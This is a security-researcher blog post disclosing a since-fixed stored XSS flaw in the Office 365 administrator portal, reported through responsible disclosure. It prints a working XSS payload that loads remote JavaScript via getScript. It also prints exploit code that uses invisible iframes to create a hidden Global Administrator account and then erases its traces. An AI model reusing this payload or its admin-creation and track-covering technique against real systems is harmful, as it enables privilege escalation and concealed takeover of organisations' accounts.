Back to blog

Vulnerability in Office 365 allows unauthorised Administrator access

Jan 15, 2014 by Emma Robinson

I recently discovered a serious Cross Site Scripting (XSS) vulnerability in Microsoft Office 365 whilst doing a security audit of our own Office 365 reporting software.

Any person with a mailbox in a company using Office 365 could exploit this vulnerability to obtain full Administrative permissions over their entire company’s Office 365 environment using just a few lines of JavaScript.

The malicious employee would now have access to the Email and SharePoint content of every employee in the company as well as the ability to make any configuration changes to the environment.

This short video shows the exploit in action or you can read on for a more detailed explanation.

Responsible Disclosure

Obviously, this is a very serious security issue and I immediately reported it to Microsoft like a good WhiteHat on October 16, 2013. We shared all of our research with the Microsoft Security team who soon confirmed the issue.

It was resolved by December 19, 2013 and they have graciously allowed me to detail my findings publicly in this article.

The Vulnerability

All web developers are used to correctly handling direct user input, but often incorrectly assume that information retrieved from a 3rd party service is “safe” to be directly output to the browser.

At Quadrotech, we regularly test our application to ensure it can handle malicious input coming from the Microsoft platform and other information providers. It was during the preparation of one of these tests that I discovered the vulnerability within the Microsoft Office 365 Administration portal.

Microsoft Office 365 Administrator Portal

Microsoft Office 365 Administrator Portal

It is worth noting that this weakness seems to have been introduced recently within the new Wave 15 version of Office 365. If it existed in the earlier Wave 14 version we would have noticed it during one of our previous tests.

At its core, the exploit uses a simple Cross Site Scripting vulnerability in the Microsoft Office 365 Administration portal. The portal was not correctly escaping user and mailbox information which it read out of Windows Azure Active Directory.

In this case, it was possible to modify the Display Name of a user account to include an XSS payload which was then executed in the browser of an administrator when they viewed a list of all users in the Office 365 portal.

The Exploit

The Office 365 web portal is just like any other web application and even uses the jQuery library. This made it relatively easy to craft an XSS string that loaded a JavaScript file from a remote web server and executed its contents.

By default, a normal “non-administrative” user can change their own Display Name within Outlook Web Access, the Office 365 webmail application.

XSS Payload in Display Name

XSS Payload in Display Name

I logged in to webmail as a standard user and replaced my display name with the following string of characters.

/*-->]]>%>?></object></script></title></textarea></noscript></style></xmp>'-/"///><img id="b1" src=1 onerror='$.getScript("https://localhost/exploit/b.js", function() { c(); });'>'

You can see the jQuery getScript function which loads the malicious JavaScript file and executes a function called c.

In my example I load the file from my local machine, but it could just as easily be hosted on any web server anywhere in the world.

Now that my display name contains the payload, we just need to wait for an Administrator to log into the web portal to do some Business As Usual user administration. The Administrator doesn’t have to click any links for the payload to be executed, they merely have to load up the user administration page.

Most Office 365 user administration is done via this portal, so it won’t take too long before an Administrator logs in.

Admin Users Management showing Payload

Admin Users Management showing Payload

The Payload

The JavaScript payload is again quite simple and contains two components.

//Create Admin User
function c()
var name = $('#loginframe').attr("src");
if (!name) {
$( "body" ).append('<iframe id ="loginframe" src="" style="border: 0; position:absolute; bottom:0; right:0; width:0; height:0">');
$('#loginframe').load(function() {
$("#loginframe").contents().find('#tbDisplayName').val('_Hacker Admin');
var f = window.frames.loginframe;
$("#loginframe").contents().find('#ddlRoles_dropdown option').filter(function () { return $(this).html() == 'Global administrator'; }).prop('selected', true);
$("#loginframe").contents().find('#ddlUsageLocation_dropdown option').filter(function () { return $(this).html() == 'United States'; }).prop('selected', true);
//Replace my Display Name
function d()
var name = $('#loginframe2').attr("src");
if (!name) {
$( "body" ).append('<iframe id ="loginframe2" src="" style="border: 0; position:absolute; bottom:0; right:0; width:0px; height:0px">');
$('#loginframe2').load(function() {
$("#loginframe2").contents().find('#tbDisplayName').val('Anne Wallace');

The first component, loaded as function c, creates a new Global Administrator user within the company’s Office 365 environment. In my example this user is called Hacker Admin, but it could just as easily been called something a little less obvious and would unlikely be detected in the Active Directory of a company with 10,000 employees.

The function appends an iFrame which is zero pixels wide and zero pixels high to the Office 365 administration web page. It is effectively invisible to the Administrator whose account is being attacked.

Inside this iFrame we load up the Create User page and use jQuery to fill in all the form fields, select the type of Administrative account we wish and request that the initial password be sent to my email address.

Admin Users Management showing malicious iFrames

Admin Users Management showing malicious iFrames

Within seconds of this function being executed, I receive an automated email from Office 365 telling me the username and password of my newly created administrator account. I can now log in to Office 365 using this account and run amok.

The second part of my payload, loaded as function d, basically covers my tracks. It loads another zero by zero pixel iFrame but instead modifies my user account to change the display name back to its original value.

By the time the administrator sees the XSS payload, it’s too late and it has already been executed. If the administrator refreshes the administration page or clicks on the user account to investigate further, the display name will appear normally. Most Windows Administrators I know would put it down to “internet gremlins” and pretend they didn’t see it.


This is a perfect example of a very simple exploit which has a huge possibility to cause billions of dollars’ worth of damage. As we move further and further into the cloud we need to be more and more aware of the potential security risks.

There are some large, high profile companies now using Microsoft Office 365 and I know that they will be very concerned to hear about these types of exploits. No-one knows if someone much more malicious discovered this bug before I did and has used it for profit by extracting sensitive information.

It is for this reason that many software and platform vendors now provide financial rewards for people who report any type of exploit directly to the company. This allows the issue to be fixed and protects their customers before any details are publicly disclosed.

Microsoft also have one of these programs but it only covers vulnerabilities found in Windows 8.1 or Internet Explorer 11. No bounties are paid out for exploits discovered in any of their other applications including the Enterprise platforms used by most large companies in the world today.

Microsoft, to their credit, did a very good job by quickly fixing this issue and communicated effectively with me during the entire process. I’ve heard many horror stories from people who have reported bugs to other companies and got no-where, leaving them with little choice but to publicly disclose the issue before it was fixed.

I will continue using and recommending Microsoft Office 365 to our customers, but this clearly highlights that just like in any IT environment, Cloud Administrators need to regularly audit their security and logs for any weird behaviour.

Our Office 365 Reporting application contains a range of Compliance and Security reports to help administrators see exactly who has access to what within their company.

Thanks go out to @snare for helping me develop this.